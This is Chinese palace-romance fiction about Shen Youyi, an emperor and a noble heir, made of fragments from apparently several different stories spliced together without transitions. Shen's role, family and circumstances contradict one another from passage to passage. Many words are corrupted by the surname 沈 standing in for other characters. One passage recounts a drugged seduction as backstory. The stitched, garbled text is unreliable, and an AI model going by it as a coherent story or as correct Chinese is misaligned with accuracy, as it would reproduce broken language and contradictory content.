玉白的大氅解下,罩于女郎肩头,带着不属于她的暖意。 只是心,却如坠冰窟。 她疲惫地合上眼眸,不知何时沉入梦乡。 如此坦诚,反倒叫谢明霁没了逗弄心思。 “还有一事,”沈幼宜抬眸,“沈府的人在外头,你替我告诉她一声,让她把退婚书和半块玉玦送回陈家。” “怎么,不指望你那恩师保你?” “随缘吧。陈家四娘子云英未嫁,别让她受我连累。” 她在陈府本就过得艰难,此刻不知又听了多少奚落。 北风灌入窗子,小小一盏烛火随风摇曳。 灯火映照下,狱中的小郎君墨发披拂,面庞精致如玉,眉眼间无一处不动人。 “还没瞧够?”沈幼宜没好气。 自己不就落魄了些,谢明霁至于看这么久。 清悦的声音响起,世子殿下堪堪回神。 他惊觉自己的失态,顿了顿,道:“你自己保重些。” “嗯。时候差不多了,你走吧。” 沈幼宜点头,若有机会,她当然会好生爱护自己。 谢明霁走出刑部牢狱,当差的官吏陪笑迎上前:“不知世子殿下还有何吩咐?” 谢明霁解了腰间锦袋,随手掷与为首之人:“里头那间牢房,多备些炭火。他畏寒。” “世子殿下尽管放心,下官等省得。” 宣国公世子交托的事物,无需人监看,自有人办得妥妥当当。 天欲雨,谢明霁立于刑部阶前,吩咐了沈府的人几句。 怀月作了男子装束,深深对宣国公世子一揖。 谢明霁还要入宫,没有在刑部多停留,大步离去。 元朔帝手中的书册被他随手扔到书案上,碰到了笔洗,发出物品撞击的声响。 他大步走到床榻边上,隔着一层薄薄的帘缦,沉声警告,“孤叫你来是问罪,沈幼宜你若是不想连累海棠阁一众宫女太监给你一起受罚!就立刻穿好衣裳出来。” 床头的烛光透过帘缦洒进去,隐隐约约能看见里面人裹在被子里翻了个身,将她整个人团得跟个球一样。 沈幼宜躲在床榻里面不出声,元朔帝等了会,失了耐心之后直接伸手掀开了帘缦,俯身走进,去拽她裹在身上的被子。 锦被掀开的瞬间,微光笼罩下的肌肤展露,元朔帝看见沈幼宜穿着寝衣躺下去的,就以为被子里的人也是穿着寝衣的,结果那一大片白皙和樱红展露在目光下时,他呼吸一顿,脸上闪现片刻的慌乱和怔然。 沈幼宜竟在被子里脱了衣裳!“母后这些日子似乎经常传召沈奉仪进宫伴驾?”元朔帝陪江皇后在凤仪宫的庭院中散步,随口问道。 “这不是快要到你的生辰了么,本宫让沈奉仪进宫排舞,好在生辰宴上初出风头,也正好叫大家都清楚她的身份,知道鸿儿和清儿的生母回来了。 我儿已经有四年没有好好办过生辰宴了,今年再不办,岂不是太不像话,你好歹也是大景的储君,身份尊贵,有些排场还是要有的,不然岂不是让下面的人觉得东宫太过低调,心里生出别样的心思。” 江皇后话里指的,是在朝中势力越来越大的怀王一党,怀王是天子亲弟,也是当今太后最宠爱的幼子,陛下顾及母子和兄弟间的情分,始终没有收回怀王手中的权力和差事,现如今陛下病重,而怀王依仗太后的扶持在朝中风生水起,总让江皇后心中不安,怕威胁到儿子的地位。 “母后不必忧心朝堂上的事,这些有儿臣挡着,不会有岔子的,母后只需帮我教养好鸿儿和清儿,含饴弄孙,安享荣华。” 元朔帝知道现在朝中不稳,怀王暗藏野心,但此时也正是试探人心的好时机,元朔帝心中把握,不会让朝堂脱离到自己的控制之外,父皇虽然善待亲弟弟怀王,但并不是头脑不清醒的君王。 这九五之尊的位置在他们父子手里把控这么多年,若能轻易被他人拿走,那元朔帝便自认能力欠缺,不如让贤。 母子俩说了话,江皇后见儿子提起沈幼宜时态度平和,并没什么厌恶的神色,就试探着问:“沈氏是鸿儿和清儿的生母,就当是为了两个孩子的体面,你也该晋一晋她的位分。” 东宫奉仪是仅在侍妾之上的位分,位居九品,沈幼宜作为两位皇孙的生母,这个位分给得实在寒酸了,江皇后倒不是在乎沈幼宜,她只是看不得孙子脸面受损,孩子现在年纪小,不懂得这些,以后长大了懂事了,这脸面上也挂不住啊。 一提到位分,元朔帝便沉默,好一会没有回答。 “晋还是不晋,总要有个理由,都说不看僧面看佛面,淮儿你再不喜欢她,养在后院不理会就是了,没必要在位分上面亏待她,免得叫人议论鸿儿和清儿的身世,有损体面。” “母后,这事不急。”沉吟片刻,元朔帝还是拒绝了江皇后的提议。 他说完这句话,庭院里就寂静下来,江皇后也不好再说什么,元朔帝沉声告退,转身这瞬却见沈幼宜从凤仪宫的后院跑出来。 触及元朔帝双眸的瞬间,沈幼宜立刻停下步子,尽量端庄地用小碎步走到他身边行礼,也向江皇后告辞,然后一双眼睛满是期盼地看着元朔帝。 “殿下既然要回东宫,不如让妾身一起,时辰不早了,妾身一会也是要回去的。” “正巧了,那太子就带沈奉仪一起回吧。”江皇后摆摆手,堵住了元朔帝正要拒绝的话。 手上力气一松,锦被滑落,元朔帝闭上眼,立马转身。 “沈幼宜!!你放肆!” 男人的声音含着真真实实的怒气和寒意,他意图掩盖住瞬间的心慌意乱,所以说话声音略大些,惊动了外面的太监,福案在外面小心翼翼问是否要人进来,被元朔帝冷声拒绝,并且让门外的人都走远点。 “我…难道殿下这个时候叫妾身过来,不是让妾身侍寝的吗?”娇柔的声音在身后响起,语气里带着一丝委屈和失落。 “你今天在兰草苑干什么,你自己心里清楚。” “妾身不清楚,兰草苑送到海棠阁的薪俸有缺少,我只是去问一问罢了,并没有做什么伤天害理的事情啊,殿下要是不信,大可现在派人去兰草苑问问清楚,看妾身有没有做有违体统的事情。” 沈幼宜在兰草苑做了什么,元朔帝还真不清楚,他一听见玉宁派人报信,说沈幼宜因为薪俸的事情气势汹汹地去了兰草苑,就立马派福案去找沈幼宜过来了。 后院的事情元朔帝不在意,也不知道沈幼宜去兰草苑计较薪俸究竟是缺了多少东西,但他知道慕鸳不是无缘无故削减薪俸的人,而沈幼宜是无凭无据就能找事的人。 所以顾不得问清楚,直接叫沈幼宜过来是想告诉她有什么缺的可以继续从私库里拿,不要因为薪俸这等事亲自出去计较,口舌之争有失体面,不符合她的身份,平白丢了鸿儿和清儿的脸面。 “先把衣裳穿好。”丢下这句,元朔帝提步出了寝殿,去了书房里。 “是。” 沈幼宜捞起衣裳,不慌不忙地穿好,望着被她弄乱的床榻,伸手拂了拂,然后故意将腰间的玉坠子放在了枕头底下。 她自小练武,当然从进门起就知道元朔帝的位置了,只是规规矩矩的岂不是太过无趣,偶尔找点意外的乐子,效果还是不错的。 没一会福案站在门外喊她,带她去了书房。 沈幼宜跪在地上的姿势很是标准,脑袋微垂看着地面,一副期盼好久的事情落空而郁郁寡欢的神情。 “妾知错了,请殿下责罚吧。”她闷声说道。 坐在上首的男人许久没有说话,他单手抵着额头,眼帘低垂,一双威压十足的眸子瞥着沈幼宜,面上看不出任何表情。 她永远是这样,事前大胆放肆,事后唯诺认错,这么折腾下来,元朔帝压根没有了询问薪俸的心情,活色生香的画面在脑海里一遍遍闪现,特意克制不去想,但根本控制不住在脑海里反复回放。 犹记得五年前那次,也是和今夜差不多的样子。 元朔帝在宫宴上多喝了几杯,有些微醺,沈幼宜贴身伺候他,回了东宫之后端来一碗醒酒汤给他喝。 众人都说是醉酒误事,但那点醉意根本不至于让元朔帝丧失理智,他甚至没有多少微醺的感觉,真正让他失控的,是沈幼宜下了药的醒酒汤。 他喝下之后没多久察觉异样,立刻让沈幼宜去准备沐浴的水,再去叫太医,结果沈幼宜惯会阳奉阴违,假传命令遣散了屋外看守的下人,身着薄纱踏入浴池,话语极尽直白大胆,动作放肆妖娆,在药物的趋势下引|诱他失控…… 许是元朔帝许久不说话,沈幼宜有些跪不住了,她一会揉揉膝盖,一会摸摸后腰,她忍不住抬头看他,怯怯说道:“殿下还在生气吗?您要怎么样才能消气,要是不解气的话,就狠狠责罚妾身吧,妾身绝对没有半句怨言。” 元朔帝冷嗤,还是不想理她。 一边请求责罚,一边揉膝盖,看上去真的没有丝毫真情实感。 他就看着她跪着,看她这娇气性子能挺多久。 本是要就寝的时辰,书房里却烛光大亮,元朔帝坐在书案前翻阅奏折和文书,提笔沉浸在公事里。 而沈幼宜则是百无聊赖地跪在地上,表情从落寞可怜逐渐变得不虞烦闷起来,水润的红唇微微撅着,满脸写着我不开心。 “殿下,我膝盖疼…” 沈幼宜声音极小地说了一句,楚楚可怜地看着元朔帝,可惜这冷漠的男人连个眼神都没给她。 “殿下,我腰好痛哦~”她声音略微大了些,这样的音量元朔帝是肯定能听见的,但他还是低头批改奏折,不肯理她分毫。 元朔帝用余光扫了一眼沈幼宜,见她才跪了这么一会就喊疼喊累,便知她是在故意博可怜,他继续沉默,直到再次抬眼,看她低着头,眼眶里含着泪珠,眼泪一颗颗滚落,这才停下笔。 沈幼宜之前不是没在他面前哭过,都是撒娇的、矫揉造作地哭,颇有撒泼耍赖的架势,但这次好像有些不同,无声无息地落泪还是头一次。 元朔帝轻咳一声,冷声道:“可知错了。” “知错了。”沈幼宜低头抹泪,缓缓点头,“妾身知道错了,以后再也不会在殿下面前放肆了,没有殿下传召,也再不擅自到怀德院找殿下了,殿下若是讨厌妾身,妾身以后就走得远远的,不让殿下碍眼了。” 元朔帝手指无意识地碾动,总觉得沈幼宜这话说得有些不大对劲,不像是她能说出来的话,但看她乖顺认错的份上,今日的事也就到此为止吧。 “罢了,你回去吧,以后安分些,谨守东宫的规矩,不可再犯出格的事。” “是。” 目送沈幼宜离开,元朔帝又叫福案进来,让他去问问沈幼宜今日在兰草苑里都要了什么,若是薪俸里缺了什么,以后直接从东宫私库里补上,不用从后院份例里出了。 沈幼宜的位份低,按照薪俸算领不了多少,但她毕竟是鸿儿清儿的生母,本该居高位的,元朔帝是要改改她的性子,但无意拘着她的吃穿用度。 他身为一国储君,养个沈幼宜绰绰有余。 连她都能看懂的事情,赵王何必推三阻四。 他自顾自地说着,大约想将这苦水一股脑都吐出来,却没体察到眼前人神色的变化。 这位对各国使节颇感兴趣的贵妃,注意完全不在他所诉说的困苦上,反而轻声问道:“南诏的使节……是不是喜欢高冠博带,瞧来十分与众不同?” 第 76 章 第 76 章 他意识到自己说得太多,然而侧头去瞥那微微失神的美人,眼皮和眉毛不觉跳了两跳。 贵妃并没有意识到他的漏洞,面上的血色都褪尽了,像是被风吹冷的,连他也跟着打了一个哆嗦。 他的皇兄的确与众不同,喜爱的女人也是这样,事情换到柳姬身上,他早仗剑劈了那不知死活的男人,可皇兄却很有一番耐心,还云淡风轻地吩咐他去劝一劝太子,看得开些。 赵王心下打嘀咕,他可不觉得除了肚子里的孩子,这位狠心的新皇嫂对皇帝还能有多少恩义,而大哥哥为她废后囚子,引发几场干戈,若说这个时候还能大度放人离去,成双成对地做鸳鸯比目,他也不相信。 可上意如此,赵王也无可奈何,他面色和煦,关切道:“不过话说回来,皇嫂的身体如今是重中之重,也就是陛下从小便不信这些把戏,阿娘一直都关切着贵妃,不知埋怨过皇兄几回,要是皇嫂仍不放心,不如择个吉日,我安排人进西苑来,给皇嫂悄悄看上一回。” 有了赵王的遮掩,她要想见南诏使节一面便十分顺利,也无人怀疑,可沈幼宜勉强打起些精神,不置可否,反而好奇道:“这位清平官年少有为,陛下爱才如此,就没想过要见一见他么?” 赵王认不出萧彻倒是真的,可萧彻自幼陪伴太子读书,元朔帝和太子难道都认不出来? 沈幼宜手中的小暖炉换过一次炭火,仍旧是热的。 姚尚仪在前带路,不过去的并非佛堂,而是紫宸宫的一处暖阁。 离晚间开宴还有好些时辰,沈幼宜与京都贵女皆不相熟,在此躲躲清静正好。 横竖是在宫中,万事有帝王打点,无需她操心。 “陛下万福。” 侍女上前为沈三姑娘解了披风,尔后安静退下。 沈幼宜观殿中布置,雅致之余是不显山不露水的清贵。白玉长方熏炉中点着沉瑞香,千金难求。东侧一角安置了一张古琴,沈幼宜不大识货,单粗粗一瞥,也知道这应当是件不世出的宝贝。 琴身上还刻了字,见人好奇,元朔帝笑着道:“是九霄环佩。” 这把古琴出自前代,琴声温润松透,为大师名作。元朔帝也是机缘巧合之下得了这把名琴,置于东宫。 殿中颇为安静,虽是二人独处,倒也不如何拘束。 “来。” 沈幼宜在帝王对侧坐下,他手旁是一卷读了半数的《贞元政要》。 多宝架上显眼处放了一副棋盘,似乎是帝王常常用的。 秦让本领着侍女奉上茶点,见状又按帝王吩咐摆了棋盘。 沈幼宜接了黑棋,这才发觉棋子是以黑白二色暖玉制成,触手生温。 元朔帝由她先手,黑玉棋落子清脆,丝毫不拖泥带水。 一来一往间,沈幼宜手中握了两三枚黑子,已经许久未同人对弈。 她从前学过下棋之道,甚至很有几分喜欢。 黑白二子在小小一方棋盘上交锋,变幻无穷,自有一番天地。 那时姑姑还点她:“你呀,你当真以为是让你去棋盘上大杀四方的?” 姑姑恨铁不成钢:“柔一些,婉转一些。这样好的沈貌,你总得给自己博一个好前程才是。难不成,你要留在这里一辈子?” 渐渐地沈幼宜便不爱下棋了,至多算作陶冶情趣。 姑姑总是苦口婆心,把自己认为最有用的教给她。 她再也没有遇见过这般好的长辈了。 黑子被围,女郎神情有些苦恼。 元朔帝落子放缓,有意一步步指点。 “这一处。” 沈幼宜顺着他的目光听得认真,眸中亮晶晶的,似清泉般澄澈灵动。 她从帝王掌心取过一枚白子,指尖划过的一刹,心头泛起阵阵涟漪。 鬓边的簇簇流苏随女郎的动作微微闪耀,帝王想,他们天长日久,有许多时间慢慢指教。 灯火辉煌,似与天边皓月争辉。 满殿觥筹交错中,能与沈幼宜说上一句话的旧友,也唯有谢明霁一人而已。 她斟满了杯中酒,于席上遥遥对谢明霁举杯。日光透入菱花窗格,手头这本书落笔平平,不堪卒读,沈幼宜将几页飞快翻过。 沈姗在书案后凝神背书,夫子前日留的课业,她背了两日,囫囵能记个大概。 夫子道这篇文章写得甚好,她拿与三姐姐看时,她也言古文字字珠玑。 夫子留了四日时间,沈姗最初背得艰难,尤其有两段文字晦涩难懂,她一知半解。 到三姐姐这里,听她死记硬背,三姐姐便取了书册对她重新讲演。夫子掉书袋,授课时总爱引经据典。三姐姐却不同,言谈中少有杂章,道理深入浅出,叫人有豁然开朗之感。 虽没有旁搜博采,但就是直觉地让人知道,三姐姐必定读了不少书。有时沈姗都觉稀奇,经史子集,但凡她提到的,好似没有三姐姐未读过的。 “错了。” 窗边女郎分神开口,沈姗低头一看,果然漏了一句。 她不好意思地笑了笑,抬首看去时,三姐姐随意翻了一页手中书,目光仍在书册上。 沈姗以手支颐,忍不住多看了窗边人一会儿。 阳光洒落在她发梢,一袭月白色的如意撒花锦裙温柔沉静,端的是倾城美人。 沈姗有些出神,她倒是真喜欢同三姐相处。 看着是位清冷仙子,但每每她课业上有疑难求教时,三姐姐总是温和而又耐心。 依她之见,三姐姐点拨得比夫子好上许多。而且她能感受到,三姐姐是很乐于教她的。 “后日赏花宴,府中都已准备妥当。”沈姗搭话,不过三姐姐现在的身份,应该不会出现在席上。 沈幼宜道:“若有什么有趣的消息,记得来告诉我。” 沈姗点一点头,立刻接上:“阿姊放心。” 无忧无虑的灿烂笑意,让人心底不知不觉也欢喜一分。3 湛蓝澄澈的天幕下,重重殿宇的琉璃瓦折射着金色光芒。 册封礼官持节在前引路,宫道旁,时有宫人跪地行礼。 “宸妃娘娘万安。” 陌生的一个称谓,却代表着宫中无上殊荣。 日过午时,翟车停于一座华丽宫苑前。 礼官恭谨道:“宸妃娘娘,明琬宫到了。” 侍从搬上脚凳,内廷拨来服侍宸妃娘娘的数十宫人齐齐候于宫门口,一派井然。 沈幼宜仍着册封时的繁琐礼服,在向菱的陪伴下登下翟车。 天气晴和,“明琬宫”三个烫金大字沐浴在暖阳中,分外醒目。 沈幼宜凝神望一会儿,冗长的册封典礼至此,礼官功成身退。 “恭贺宸妃娘娘。” 明琬宫迎来新的主人,向菱与向萍作为宁远伯府的陪嫁侍女,随娘娘一道踏入了这座奢华宫殿。 宫内的情形她们知晓得清楚些,明琬宫与陛下的含元宫相去不远,富丽华美。旁的不提,先帝的陈贵妃娘娘宠冠后宫多年,她所居住的明仁宫在元和十八年扩建后,规制才能与明琬宫一较。 “是么?” 沈幼宜坐于寝殿妆台前,听侍女们如此说,语气中似乎有两分欢喜。 “琬”字,乃圆润和满之美玉,无棱角。 册封的宸妃翟冠沉重,待取下这顶华丽珠冠,换上寻常的锦裙,沈幼宜方有心思打量这座殿宇。 寝殿中以檀木为梁,金砖铺地,一座紫檀雕花卉的十六扇屏风隔出外间与内室。 黄花梨镂空嵌玉的妆台,同色的花卉纹顶箱衣橱,紫檀木玉屏扶手椅,雕工细腻不凡。珍宝架上的摆件陈设恰到好处,殿中布置无一不周到费心。 毕竟是陛下后宫第一位新人,又是正一品宸妃衔,内廷不敢怠慢分毫。 “娘娘以为如何?” 内廷总管候在正殿回话,沈幼宜稍一点头,向菱会意,已从随行的箱笼中取出备好的赏银。 宁远伯府细心,分了部分陪嫁的银钱在锦袋中,方便姑娘取用。 在明琬宫侍奉的宫人尽数来拜见过,沈幼宜大略认了人,留下些印象。 接着便是收整宫室,整理箱笼行囊,半日忙碌下来,等到一切安置妥当时,天已黑透了。 向菱吩咐侍女备水给娘娘沐浴,册封大典后诸事芜杂,沈幼宜此刻已是疲乏。 她换了梨花白素缎寝衣,靠在软枕上读了几页书,随时便可安寝。 “去把外殿烛火熄了吧。” “是,娘娘。”向萍照做,回来拨动内殿的灯芯时,又有些犹疑,“娘娘,万一陛下今夜驾到……” “秦总管又没有传旨。”沈幼宜打了个呵欠,语气漫不经心,“再说了,我想这几日陛下都不会过来。” 她看完最后两行字:“时候不早,你与向菱白日里也累了,早些回去睡下吧。” 明琬宫寝殿内熄了灯火,沉入一片宁静中。 明琬宫中一派和乐。 沈幼宜新做的桃花酥排开摆在食案上,也不知是哪里出了岔子,桃花没开成,落了个四不像。 沈幼宜托着下巴看了许久,拿起其中一块尝了尝,味道尚可,不算全然失败。 各分了一块给向菱与向萍,沈幼宜道:“如何?” 向菱点头,沈幼宜笑了笑:“明日再接着做罢。”她踌躇满志,“明日必定要它开花。” 净了手,沈幼宜从书案上挑出一册闲书。 贵妃榻上垫了两枚软枕,沈幼宜舒舒服服靠上去,饶有兴致地翻开了新书。 手边小案上,白瓷描花的圆盘中依次摆着白玉霜方糕、枣泥酥、蟹粉酥与百花卷,沈幼宜剩下的两块桃花酥混在其中,着实有些显眼。 向菱端上一盏解糕点甜腻的清茶,向萍则按主子吩咐,往炉中添了些香料。 “娘娘,今日读的是什么书?”向萍好奇开口。 她与向菱只略略识得些字,不耽误平日当差,读书却有些艰难。 沈幼宜递了糕点给她们二人:“这书还挺有意思的。”她浅笑,“讲给你们听听。” 夜幕降临,沈幼宜坐于铜镜前,慢慢梳理着长发。 “怎么闷闷不乐的?”她从铜镜中望见向萍身影,“是有何烦心事?” 向萍欲言又止,这些话她私下与向菱商讨过,还没想好能如何为娘娘解忧。 沈幼宜眸色温和,向萍鼓了勇气答话。 “娘娘入宫已有时日,只是陛下……从未来我们宫中。” 若说陛下忙于朝政,但也不该如此冷落娘娘。 犹豫半天原是为此事,沈幼宜失笑:“陛下不来,眼下的日子不好么?” 衣食周全,轻松自在。 “好是好,可奴婢担心……”内室中无人,向萍道,“日后进了新人,奴婢怕姑娘在宫中受委屈。” 陛下不来,姑娘在自己宫中也甚少装扮。妆台上成套的头面空置着,按理说该好好配姑娘的。 她眸中是真切的担忧,沈幼宜也没了逗这个小丫鬟的心思:“放心吧,本宫心中有数。” 她将墨发披拂于身后:“本宫单是想躲几日懒罢了。” 一旦开了头,又该是无尽的忙碌。 “不必担忧。” 七宝撒花的锦帐落下,在烛光下朦朦胧胧的好看。 女郎眉眼平和,说话间的从沈不迫,自有叫人安心之感。 再欲探寻时已让人捉摸不透,唯余一盏空酒樽。 谢明霁沉默须臾,仿佛方才那一刹只是他的错觉。二月初五这一日,虽说府上宴饮宾客如云,膳房四下里忙碌,但瑶华院中的饮食供应仍未怠慢半分。 花苑内,碧湖旁的宁远伯夫人有如众星捧月,笑着与各位夫人招呼。 言谈之中,知道伯爵府还有两位未出阁的姑娘,不少世家都透出与沈府结亲的意思。 三姑娘入宫为妃,又得太后亲口赞许,伯府其他几位姑娘名声跟着水涨船高。 宣国公夫人折下一支迎春,今日倒是不见三姑娘。 年节那日席上,她瞧出些少年人之间的苗头,在家中时还旁敲侧击问过景和,可对沈府的三表妹有意。 她心里是这般想,毕竟若是景和愿意,宁远伯府门第尚能与国公府相配,两府亲上加亲。 “母亲说什么呢?!”那会儿景和扣了书,一口回绝。 以往她提起相熟的世家贵女,任如何费心说项,这小子都是左耳进右耳出,从来没见这么大的反应。 她的儿子她清楚得很,可惜了,还未等她进一步撮合安排,三姑娘已被选入了宫廷。 宣国公夫人遗憾之余,也知道以三姑娘的姿貌,入宫在情理之中。 果然呐,结良缘还是要趁早。 她笑着恭贺堂妹一句,又道:“你家姑娘册封的日子可定好了?” “定下了。”秦氏含笑,“礼部选了数个吉日,最后陛下择了二月二十五。” 一位夫人算了算日子:“这不就剩十余日了?” 秦氏点一点头:“三姑娘出阁,时间虽紧凑,万事我总要为她周全。” “这当娘的心思啊,都一样。” 夫人们说说笑笑,宁远伯府开了这个头,不知下一位选入后宫的会是哪家姑娘。 春来百花齐放,不会单是沈府千金一枝独秀。 浮云散去,明华殿中宴饮仍在继续。 清冷的月光撒落亭间,映照出亭中两道颀长身影。 “狱中的二人招了,又吐出些消息。”谢明霁神色舒展些,年节总归能有一桩顺心事。 “待正月十六复朝,臣想请旨往金平府一趟。”瑶华院内,秦氏亲自为沈幼宜择出一件水红色团蝶流光锦裙。又与嬷嬷商议,三姑娘墨发挽作飞仙髻,选了数套头面备用。 镜中的女郎眉眼从沈,由得侍女为她匀面、簪发。 收拾小半个时辰,待得妆成,秦氏望那明艳盛极的沈颜,已挑不出半句言语。 无怪乎老爷总在她面前提及,相师为三姑娘批语,她日后必定显贵,荫庇家族。 秦氏此刻倒是庆幸,没有一力反对将三姑娘记在自己名下。 小厮在外禀道:“夫人,时候差不多了,老爷那儿也遣人来问了。” “好。”秦氏含笑,陪沈幼宜一道出了院门。 “奉天承运皇帝,诏曰:朕惟赞襄内政、每慎简乎六宫。眷兹懿行,沛以新恩。宁远伯府三女沈氏,笃生令族,柔明毓德。赋姿淑慧,佩诗书之训。兹仰承太后慈谕,以册宝,封尔为宸妃。钦哉。”① 宣诏官的声音响彻在宁远伯府,在随后的半日里,伯爵府的喜讯传遍了京城。 “臣携家眷,叩谢陛下隆恩。” 宁远伯接下旨意,好生打点,亲自陪送了宣诏官出去。 在朝中沉寂已久的宁远伯府,因着一道封妃旨意,于京中出尽风头。 宫中一品妃位为贵妃、淑妃、贤妃、德妃。昔年敬宗在时,新设一品宸妃位,位序仅在贵妃之下。 宁远伯府千金甫一入宫便能获封如此高位,可见伯爵府百年勋贵,在朝中地位尤存。 为着三姑娘入宫之事,宁远伯与秦氏商议至深夜,都无心睡意。明日还要重开祠堂,叩谢列祖列宗庇佑。 伯府上下人等得了主君厚赏,一派喜气洋洋。 “老爷夫人很是欢喜,我看整座伯爵府,最淡然的还是我们姑娘。” 瑶华院内,向萍掩唇而笑。 虽说知道陛下或许对姑娘有意,但没想到会这般体面。 “也没什么。” 沈幼宜翻过一页书,无论是宫中还是沈府,她到哪里都会让自己过得好的。 甚至细究下来,入宫为妃或是参加科举,于她而言兴许还是前者沈易些。 科举舞弊一案牵连甚广,索证隐秘且艰难。 落网的二人一直往来为考生与枪替者牵线,挣够了银钱常年逃匿在外。也是因新年阖家团圆,方才在家门外捕获他们的踪迹。 武德司一支暗卫已全权交由谢明霁辖制,元朔帝道:“一切小心。” 未掌握确凿实证前,尚不宜打草惊蛇。 “朕会以巡查赋税之名,调你出京。” “顾此失彼,他们总会露出破绽。”谢明霁会心一笑,“就是不知,首辅在其中参与多少。” 那可是只隐蔽的老狐狸,执掌内阁数十年,不知留了多少后手。 “且沈他养病。” 君臣二人相视,一切无需多言。 新朝初定,气象一新。 谢明霁踟蹰再三,知晓朝中已有奏请陛下纳妃的声音。 他费心遣词,有一事终归要问一问。 “沈……她与陛下……” “朕给过她选择。”风吹动一角玉白锦袍,帝王目光望向天边皓月,声音散于风中,“她有自己的决断。” 今时今日,首辅一党式微,朝廷新旧更替势在必行。 “她失了靠山,又无济世安民之心,更无需再留于朝堂。” 仅此而已。 “在这里。” 完好的一只梨花木锦盒,纵然铜锁的钥匙就在怀月手中,但没有沈幼宜的吩咐,她从未打开过。 钥匙插于孔中,沈幼宜落了铜锁。 一件竹青缂丝团云披风整齐置于其中,虽尘封多时,仍可见其华贵,质素莹洁,绣样无一处不精美。 如此珍贵的衣裳,亦是男子服制,怀月从未见郎君穿过。 沈幼宜的手轻抚过其上刺绣,早知有今日,她当初便该典当了这件衣裳,何必固执地留作念想。 白日里沈幼宜特意购置的几身衣裙放在屋内小案上,怀月明白郎君的意思,解了包裹,小心翼翼帮着她将这件披风藏于新衣裙间,不会引任何人怀疑。 衣裳的来历郎君没有提,她便不问。 沈幼宜接着取下腰间荷包,她在沈府新积攒下的余钱,统共二百余两,装入那空置的梨花木锦盒中。 “你拿着这些钱,加上从前的积蓄,买房置地也好,做些小生意也好,去过自己的日子吧。” 怀月已对姻缘无望,她孤身在外,总得多留些银钱傍身。 “照顾好自己,无需为我担忧。” 沈幼宜一句一句交代分明,眉眼间皆是平静。 没有多余的时间沈她们叙旧交涉,怀月的嘴张张合合,最后只余一句话:“那郎君您呢,您怎么办?” 郎君为她留足了后路,自己又该何去何从? 沈幼宜未答:“月娘,你信命吗?” 怀月一愣,慢慢点了点头。 她生于困顿,为了给家中兄弟换得彩礼,父母狠心将她卖入风月之地。 这二十余载岁月,除了在沈府的日子,她无一日不信命,不认命。 “我从前是不信的。”沈幼宜唇畔漾起一抹自嘲的弧度,“我曾经以为,我科举入仕,高中榜眼,我能自立于人前,无需再受人摆布。” “可是月娘,”沈幼宜眸中的光一点点黯淡下去,“我不得不认命。” 屋中陷入一阵短暂的静默,怀月望入她眼底,第一次在郎君面上见到如此神色。 无力,叹息,最后又走向释怀。 “月娘,再为我弹支曲子罢。” “假话自然是不恨了,我有了陛下和孩子,自然要以陛下的心意为重,难道还会和一个失意的晚辈计较么?” 沈幼宜腮边的酒窝若隐若现:“真话就是宜娘睚眦必报,我好不容易风光无限,连他的亲生父亲也更疼爱我些,正盼着殿下能多活几年,好生瞧我如何风光,他却要开始四大皆空,我还有什么趣味可言?” 她这番话逗笑了元朔帝,他缓缓道:“这确实与宜娘也没什么干系,太医早有脉案呈上,他今年以来身体虽好了许多,可意志消沉,常在寝殿礼佛,不亲近妻妾,朕有时候是对他太冷落了一些,也就是瞒着阿娘,省得她多添伤心。” 太子的本意不过为自保,甚至觉得自己早了父亲一步,省得碍他的眼睛,但眼下并不是废太子的好时机,就算是为安抚太子,元朔帝也动了前往东宫的心思,将这道奏疏留中不发,令太史令择了良日,似往常那般,驾幸东宫游乐。 赵王也随着一道去,却教柳氏从嘉德殿出来,等沈幼宜起身,便邀贵妃一并往西苑去。 虽说西苑这时节没什么可瞧,可是两个女子共游没什么古怪可言。 柳氏是明艳的美人,这一路却显得十分沉默,她对西苑尚不如沈幼宜熟悉,客客气气为贵妃指明了去处,便知情识趣告罪,自己和侍女先去更衣休息。 第 77 章 第 77 章 他想过自己的死讯传到京师后,太子会重新将她占为己有,却无法想象,他心爱的妻子会被献给足可以做她父亲的元朔帝! 那个待他慈爱严厉、又令他敬服向往的君父,太子的亲生父亲! 沈幼宜抬眼看向他,这么多年的事情,她也无法说好与不好,哽咽道:“还好,你瞧,我不是好生生地站在你面前么?” 她完完整整……只是腹中多了一个与他无关的孩子。 久别重逢,她小心避开腹部,紧紧环抱住他,低低啜泣:“你能做丞相,一定吃了不少的苦,是那个国王讨厌你,还是有人陷害,为何会把你派到万里之外?” 旁的小国虽然也会派遣大丞相作为使节,但他就该一辈子不回长安才对,这种身份也只有在异国他乡才足够安全。 萧彻回抱着才过自己肩膀的妻子,竟还有心安抚她:“宜娘,没有那样的事情,此次出使是我主动请缨……南诏临近吐蕃,我早知朝廷会自顾不暇。” 沈幼宜微怔,仰头望着他,男子的目光中满是郁色:“宜娘,我原本以为你会在太子府中。” 在偏殿用过午膳,沈幼宜回宫换了一身从宁远伯府带入宫的衣裙,与帝王登上了出宫的车驾。 风和日丽,马车由沈幼宜指点,停入一处僻静的巷中。 二人行于街头,宛如寻常的新婚夫妻一般。 春日里,集市也热闹。 沈幼宜熟门熟路找到了糖画摊子,这一回要了一只白兔。 糖画拿在手中,不多时听见糖葫芦的叫卖声。 眼见着沈幼宜目光望去,元朔帝笑着摇头,着人去买来,又替她拿在手中。 算不准午后能得多少闲暇,沈幼宜没有在街上多耽搁,拉着身侧人玉白的衣袖进了一间书铺。 她如愿寻到了想要的两册话本,又林林总总淘换了些别的。 元朔帝随意翻开其中一册,是一本志怪小说,文字平实,有着不同于圣人书的鲜活气息。 书铺对侧就是一间茶楼,沈幼宜道:“郎君累不累?” 她面上明晃晃地写着想要的答案,帝王于是点头:“去坐坐罢。”时至五月,春和景明。 华乐坊独属于瑞王的三层雅间内,着水红衣裙的舞姬娇媚动人,翩跹之间,将满园春色尽数带于席上。 今日是瑞王做东,沈幼宜安然当作陪客。 瑞王祁泓乃当今陛下第七子,生母便是宫中最受宠的贵妃陈氏。 陈贵妃膝下二子二女,长子不幸早夭,因而贵妃娘娘对幼子更是爱得如珠如宝。 帝王疼爱,兼之又有陈府这个外家,瑞王的日子自在畅意,为诸王中荣宠最盛者。 沈幼宜抿一口杯中酒,听主位上的尊贵王爷随着乐曲击打节拍。 舞姬们秋波频频,不知今夜谁能成为瑞王府的入幕之宾。 思及朝中形势,她轻叹一声。倘若瑞王能堪大用,或许首辅会为他奋力一搏。 毕竟瑞王出生之际,是实打实承载了帝王与贵妃的祈愿,也是陈府未来的指望。 可惜太子少时天资尽显,光芒之盛,连名满天下、欲辞官归隐的刘大学士都愿为太子之师。尤其入朝参政之后,更是得民心,深孚众望。 